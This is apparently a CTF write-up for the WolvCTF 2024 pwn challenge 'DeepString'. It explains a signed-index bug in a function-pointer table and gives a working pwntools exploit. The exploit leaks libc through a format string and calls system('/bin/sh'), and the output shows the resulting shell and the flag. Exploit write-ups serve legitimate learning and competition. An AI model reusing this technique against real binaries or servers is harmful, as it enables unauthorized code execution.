--- title: 'WolvCTF 2024 - Pwn: DeepString' date: 2024-03-20 tags: ['ctf', 'ctf-pwn'] --- ## Task > I had DeepThought running, but Wolphv reprogrammed it so that it now only performs string functions... > > `nc deepstring.wolvctf.io 1337` > > [`DeepString`](https://wolvctf.io/files/167c85da152e0a7f9e757f2c44a5f35d/DeepString?token=eyJ1c2VyX2lkIjoxNDExLCJ0ZWFtX2lkIjoxNTksImZpbGVfaWQiOjQ2fQ.Zfsgcw.08np92N-nchFYJ_G33-goLG2_G0) [`Dockerfile`](https://wolvctf.io/files/4145245dff6021e370534c2c2fe94660/Dockerfile?token=eyJ1c2VyX2lkIjoxNDExLCJ0ZWFtX2lkIjoxNTksImZpbGVfaWQiOjc1fQ.Zfsgcw.DKl0DrIPyTdUoPBwzSwF8Y83JaA) - `Author: didkd` - `Points: 369` - `Solves: 44 / 622 (7.074%)` ## Writeup This challenge lets us run various string functions. Decompiling the binary, we see the following: ```c // in main() ... var_38h = (int64_t)length; var_30h = (int64_t)to_lower; var_28h = (int64_t)to_upper; var_20h = (int64_t)reverse; do { puts("Choose a function:\n 0) length\n 1) to_lower\n 2) to_upper\n 3) reverse\n"); __isoc99_scanf("%d", &var_3ch); if (3 < (int32_t)var_3ch) { puts(...); exit(_EXIT_CODE & 0xffffffff); } fn_call((uint64_t)var_3ch, (int64_t)&var_38h); } while( true ); // in fn_call() ... var_11ch._0_4_ = (int32_t)arg1; ... fgets((int64_t)&var_11ch + 4, 0x100, _stdin); ... (**(code **)(arg2 + (int64_t)(int32_t)var_11ch * 8))((int64_t)&var_11ch + 4); ... ``` In `main`, an array of 4 function pointers is created. Then, the program takes an integer from stdin and ensures it is not greater than 3. The index and a pointer to the array are passed to `fn_call`. In `fn_call`, the program takes `0x100` bytes of input to use as the argument to the string function. Then it calls the string function by indexing into the array passed as an argument. Note that while `fn_call` takes an unsigned integer as the first argument, both the call to `scanf` and the bounds check treat `var_3ch` as a signed integer. This allows us to input a negative number as the index. Additionally, our string input will be before the array in memory, so we can jump to any address as long as we put it in the buffer. Another thing we can find in the binary is the unused `reflect` function, which simply calls `printf` with the argument given. Since this function let's us control the format string, we can use it to leak the address of `libc`: ```py from pwn import p64, process, gdb, ELF, context, flat, u64, remote p = remote('deepstring.wolvctf.io', 1337) e = ELF('./DeepString') # obtained from the provided Dockerfile libc = ELF('./libc.so.6') payload = flat( # print the 15th format argument as a string b'##%15$s\x00', # set the 15th format argument to be printf's GOT address e.got['printf'], # put the address of reflect onto the stack, so we can jump to it with a negative index e.symbols['reflect'] ) # negative index that jumps to reflect p.sendline(b'-36') p.sendline(payload) p.recvuntil(b'##') printf_addr = u64(p.recvn(6) + b'\x00\x00') libc_addr = printf_addr - libc.symbols['printf'] ``` Now that we know where `libc` is, we can call `system("/bin/sh")` with the following: ```py system_addr = libc_addr + libc.symbols['system'] p.sendline(b'-37') payload = flat( # set the argument to system b'/bin/sh\x00', # put the address of system onto the stack system_addr, ) p.sendline(payload) p.interactive() ``` ```console $ python d.py [+] Opening connection to deepstring.wolvctf.io on port 1337: Done [*] '/tmp/DeepString' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/tmp/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode Choose a function: 0) length 1) to_lower 2) to_upper 3) reverse Provide your almighty STRING: $ ls chal flag.txt $ cat flag.txt wctf{2in1!_tH3_4n5w3R_1S_42_bTw} ```